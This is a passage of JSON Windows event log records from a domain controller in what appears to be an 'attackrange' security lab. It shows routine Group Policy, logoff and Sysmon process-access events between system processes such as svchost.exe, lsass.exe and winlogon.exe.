+{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":36028797018963968,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1704,"SourceName":"SceCli","Task":0,"RecordNumber":12105,"ProcessID":0,"ThreadID":0,"Channel":"Application","Message":"Security policy in the Group policy objects has been applied successfully.","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1502,"SourceName":"Microsoft-Windows-GroupPolicy","ProviderGuid":"{AEA1B4FA-97D1-45F2-A64C-4D69FFFD92C9}","Version":0,"Task":0,"OpcodeValue":1,"RecordNumber":76821,"ActivityID":"{BF80F752-6B83-4AFC-9655-5AA3CB2A4AAE}","ProcessID":1132,"ThreadID":2296,"Channel":"System","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"The Group Policy settings for the computer were processed successfully. New settings from 2 Group Policy objects were detected and applied.","Opcode":"Start","SupportInfo1":"1","SupportInfo2":"4183","ProcessingMode":"1","ProcessingTimeInMilliseconds":"703","DCName":"\\\\win-dc-9849183.attackrange.local","NumberOfGroupPolicyObjects":"2","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221596,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3B950\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x3b950","LogonType":"3","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2360,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:21.140\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:21.140","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2361,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:21.140\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:21.140","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2362,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:21.140\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:21.140","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2363,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:21.140\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nTargetProcessId: 800\r\nTargetImage: C:\\Windows\\system32\\winlogon.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\SYSNTFY.dll+1ad9|C:\\Windows\\System32\\RPCRT4.dll+580d4|C:\\Windows\\System32\\RPCRT4.dll+39ae0|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:21.140","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","TargetProcessId":"800","TargetImage":"C:\\Windows\\system32\\winlogon.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\SYSNTFY.dll+1ad9|C:\\Windows\\System32\\RPCRT4.dll+580d4|C:\\Windows\\System32\\RPCRT4.dll+39ae0|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2364,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:21.140\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:21.140","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2365,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:21.140\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:21.140","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2366,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:21.140\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:21.140","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2367,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:21.140\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM